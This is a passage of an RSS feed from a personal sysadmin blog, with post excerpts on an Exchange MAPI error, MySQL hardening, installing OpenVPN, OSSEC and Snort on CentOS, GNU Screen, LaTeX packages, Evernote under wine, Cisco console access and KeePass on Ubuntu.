&lt;!-- raw HTML omitted --&gt;Event
Category:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;MAPI Session &lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Event
ID:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;9175&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Date:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;8/05/2012&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Time:&lt;!-- raw HTML omitted --&gt; &lt;!-- raw HTML omitted --&gt;9:12:31
AM&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;User:&lt;!-- raw HTML omitted --&gt; &lt;!-- raw HTML omitted --&gt;N/A&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Computer:&lt;!-- raw HTML omitted --&gt;
&lt;!-- raw HTML omitted --&gt;***DELETED***&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Description:&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;The
MAPI call &amp;lsquo;OpenMsgStore&amp;rsquo; failed with the following error: &lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;The
attempt to log on to the Microsoft Exchange Server computer has
failed.&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;The
MAPI provider failed.&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;Microsoft
Exchange Server Information Store&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;ID
no: 8004011d-0512-00000000 &lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;For
more information, click
&lt;a href="http://www.microsoft.com/contentredirect.asp"&gt;http://www.microsoft.com/contentredirect.asp&lt;/a&gt;.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>I had to do some maintenance work on a Linux based server</title><link>http://kush.com.fj/post/2012-05-07-i-had-to-do-some-maintenance-work-on-a-linux-based-server/</link><pubDate>Mon, 07 May 2012 16:37:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2012-05-07-i-had-to-do-some-maintenance-work-on-a-linux-based-server/</guid><description>&lt;p&gt;I had to do some maintenance work on a Linux based server. It was mainly
just archiving some files around and updating packages and
configurations. However, as part of the maintenance I took the
opportunity to put in some simple technical security controls in place
and documented some of them here for my reference.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;MySQL Database&lt;/strong&gt;&lt;br&gt;
&lt;!-- raw HTML omitted --&gt;There was a MySQL server running
that was only needed for the local host, but a &amp;ldquo;netstat -ltn&amp;rdquo; indicated
that it was not bound to any specific IP, i.e. listening on 0.0.0.0, so
I bound it to the localhost IP of 127.0.0.1 by editing the /etc/my.cnf
file using the entry bind-address=127.0.0.1&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>Installing OpenVPN 2.2 on Centos 5.7</title><link>http://kush.com.fj/post/2011-10-31-installing-openvpn-2-2-on-centos-5-7/</link><pubDate>Mon, 31 Oct 2011 15:43:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-31-installing-openvpn-2-2-on-centos-5-7/</guid><description>&lt;p&gt;OpenVPN is an SSL based VPN. There are other VPN solutions such as
IPsec, etc. but OpenVPN provides a cost effective alternative. I like
OpenVPN as it support two-way authentication, i.e. both the client and
server authenticate using certificates. To install OpeVPN on CentOS we
need a number of cryptographic libraries. The simplest way is to use the
DAG/RPMForge repository.&lt;/p&gt;
&lt;p&gt;Set-up the RPMForge repository &lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;, as
this contains the packages necessary for the installation and the
instructions are provided below. The instructions below are just to
document this specific installation and therefore this blog post is not
to be misinterpreted as a best practises guide. The instructions are
adapted from the OpenVPN website &lt;!-- raw HTML omitted --&gt;[2], &lt;!-- raw HTML omitted --&gt;&lt;!-- raw HTML omitted --&gt;but this blog
post is intended more as a quick and dirty guide to getting OpenVPN
running on CentOS 5.7. Additionally the &lt;!-- raw HTML omitted --&gt;set-up&lt;!-- raw HTML omitted --&gt; and
configuration of the client is considered beyond the scope of this blog
post.&lt;!-- raw HTML omitted --&gt;&lt;/p&gt;</description></item><item><title>Installing OSSEC on Centos 5.7</title><link>http://kush.com.fj/post/2011-10-30-installing-ossec-on-centos-5-7/</link><pubDate>Sun, 30 Oct 2011 19:04:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-30-installing-ossec-on-centos-5-7/</guid><description>&lt;p&gt;OSSEC is an open source host-based IDS that performs log analysis, and
is able to correlate and analyse logs for a number of Linux (and
Windows, but that is outside the scope of this blog post) servers. The
software architecture of OSSEC and the use of agents, lends OSSEC to
flexible deployment and management &lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;.&lt;/p&gt;
&lt;p&gt;Set-up the Atomic repository that already has the appropriate OSSEC
packages and install them would be the easiest way. However I have a
strong dislike for the use of the /var partition (most system
administrators, hmm&amp;hellip; well at-least I have always, set this up as a
separate partition for ease of management and security reasons) as an
install location, esp. when it has been specified as a &amp;ldquo;noexec&amp;rdquo;
partition.&lt;/p&gt;</description></item><item><title>Installing Snort 2.9.1.2 on CentOS 5.7</title><link>http://kush.com.fj/post/2011-10-29-installing-snort-2-9-1-2-on-centos-5-7/</link><pubDate>Sat, 29 Oct 2011 21:11:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-29-installing-snort-2-9-1-2-on-centos-5-7/</guid><description>&lt;p&gt;CentOS 5.7 uses an older version of libpcap (0.9.4), but Snort&amp;rsquo;s Data
Acquisition Library (daq) needs a newer version of libpcap (&amp;gt;=1.0.0).
The latter is not an issue with the CentOS 6.0. Vishesh Kumar &lt;!-- raw HTML omitted --&gt;[1]&lt;!-- raw HTML omitted --&gt;
provides an excellent instructions to getting Snort 2.9 to run on RHEL 5
(&lt;a href="http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html"&gt;http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html&lt;/a&gt;).
The purpose of this post is not to duplicate his efforts, but to extend
it slightly to include instructions for a complete Snort set-up.&lt;/p&gt;</description></item><item><title>Gnu Screen</title><link>http://kush.com.fj/post/2011-10-26-gnu-screen/</link><pubDate>Wed, 26 Oct 2011 17:04:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-26-gnu-screen/</guid><description>&lt;p&gt;Running some experiment on a VM server I rapidly ran out of patience
having to wait for commands to run, and/or switching back and forth
using Ctrl+Z, bg, and fg. My thoughts went back to Nick Black who had
introduced me to Gnu Screen several years back, alas I has forgotten the
short-cuts, Thankfully Google and the man page came to the rescue.&lt;/p&gt;
&lt;p&gt;Since the VM server was a CentOS 6.0 box, with minimal install, I had to
install Gnu Screen using;&lt;/p&gt;</description></item><item><title>APAcite on Mac OS X (Lion) with texlive</title><link>http://kush.com.fj/post/2011-10-25-apacite-on-mac-os-x-lion-with-texlive/</link><pubDate>Tue, 25 Oct 2011 14:03:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-25-apacite-on-mac-os-x-lion-with-texlive/</guid><description>&lt;p&gt;I had to recently rebuild my Mac Book Pro (gasp!), and decided to
upgrade to Lion.  The whole process was relatively painless. Files were
copied back from backups, and updated from my SVN repositories, however
I had troubles installing the appropriate Mac port package for the
APACite classes.&lt;/p&gt;
&lt;p&gt;sudo port install texlive-bibtex-extra&lt;/p&gt;
&lt;p&gt;The latter yielded errors, which were logged in&lt;/p&gt;
&lt;p&gt;/opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_perl_p5-text-bibtex/p5.12-text-bibtex/main.log&lt;/p&gt;
&lt;p&gt;Since the dependency p5.12-text-bibtex could not be installed,
examination of the log file provided the following clues; error: &amp;lsquo;main&amp;rsquo;
must return &amp;lsquo;int&amp;rsquo;&lt;/p&gt;</description></item><item><title>APAcite on Mac OS X with texlive</title><link>http://kush.com.fj/post/2011-10-17-apacite-on-mac-os-x-with-texlive/</link><pubDate>Mon, 17 Oct 2011 10:30:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-10-17-apacite-on-mac-os-x-with-texlive/</guid><description>&lt;p&gt;While compiling a LaTeX document, a blank template of my PhD thesis to
be exact, when I got the following error &amp;ldquo;! LaTeX Error: File
`apacite.sty&amp;rsquo; not found.&amp;rdquo; Again a quick search for Mac ports indicated
that the texlive-bibtex-extra package was required. It was quickly
installed using;&lt;/p&gt;
&lt;p&gt;sudo port install texlive-bibtex-extra&lt;/p&gt;
&lt;p&gt;Subsequent compile yielded more errors, this time it was &amp;ldquo;! Undefined
control sequence. \abstract&amp;rdquo;. This was solved using the
texlive-latex-extra package, installed using;&lt;/p&gt;</description></item><item><title>Evernote and Nix/NeverNote on Ubuntu 10.04</title><link>http://kush.com.fj/post/2011-09-21-evernote-and-nix-nevernote-on-ubuntu-10-04/</link><pubDate>Wed, 21 Sep 2011 14:11:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-09-21-evernote-and-nix-nevernote-on-ubuntu-10-04/</guid><description>&lt;p&gt;Evernote is a great tool. I absolutely love it. The only con, is that
it&amp;rsquo;s nto available natively for Linux. So I have to run it under the
Windows Emulator or &lt;em&gt;wine.&lt;/em&gt; The installation is fairly simple.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;wget
&lt;a href="http://evernote.s3.amazonaws.com/win4/public/Evernote"&gt;http://evernote.s3.amazonaws.com/win4/public/Evernote&lt;/a&gt;_4.5.0.5229.exe&lt;/li&gt;
&lt;li&gt;wine Evernote_4.5.0.5229.exe&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Obviously not running natively there is a slight performance lag. This
may be attributed to my 5 year old laptop. Although it&amp;rsquo;s still usable,
the slow synchronization soon becomes tiresome. Fortunately there is a
Linux native client called NeverNote&lt;!-- raw HTML omitted --&gt;[2]&lt;!-- raw HTML omitted --&gt;.&lt;/p&gt;</description></item><item><title>Cisco console from Ubuntu 10.04</title><link>http://kush.com.fj/post/2011-09-21-cisco-console-from-ubuntu-10-04/</link><pubDate>Wed, 21 Sep 2011 12:28:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-09-21-cisco-console-from-ubuntu-10-04/</guid><description>&lt;p&gt;It&amp;rsquo;s pretty easy to set-up Cisco serial console connectivity on Ubuntu
10.04. The usual way is to use &lt;em&gt;minicom&lt;/em&gt;. The serial ports usually
called COM1-4 usually have the following address range;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;COM1 - 3E8&lt;/li&gt;
&lt;li&gt;COM2 - 2F8&lt;/li&gt;
&lt;li&gt;COM3 - 3E8&lt;/li&gt;
&lt;li&gt;COM4 - 2E8&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To complete the setup first determine the address used for COM1 (or
whichever serial port you wish to use) on your machine  query the kernel
buffer ring using the &lt;em&gt;dmesg&lt;/em&gt; command, then install and configure the
&lt;em&gt;minicom&lt;/em&gt;, modem emulation tool.&lt;/p&gt;</description></item><item><title>KeePass on Ubuntu 10.04</title><link>http://kush.com.fj/post/2011-09-20-keepass-on-ubuntu-10-04/</link><pubDate>Tue, 20 Sep 2011 01:17:00 +1000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/post/2011-09-20-keepass-on-ubuntu-10-04/</guid><description>&lt;p&gt;KeePass is a very popular password management software. One of my client
uses this for their systems and I was given a copy of their database.
Since I mostly use linux when I am working, I needed a way to get this
working on Ubuntu 10.04. Instructions are widely available, but again
for my benefit, I have documented them here as step-by-step guide for
myself. At the time of this blog post the 2.x version of KeePass was
2.16&lt;/p&gt;</description></item><item><title>Contact Me</title><link>http://kush.com.fj/contact/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/contact/</guid><description>Contact page for nishchal kush. Contact e-mail, linkedin, social media, public keys, and link to Github</description></item><item><title>meh!</title><link>http://kush.com.fj/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><author>kush (at) kush.com.fj (Kush, Nishchal)</author><guid>http://kush.com.fj/about/</guid><description>About Nishchal Kush. Brief background on the website, education, experience, background, research interests, and publications. About page for personal website.</description></item></channel></rss>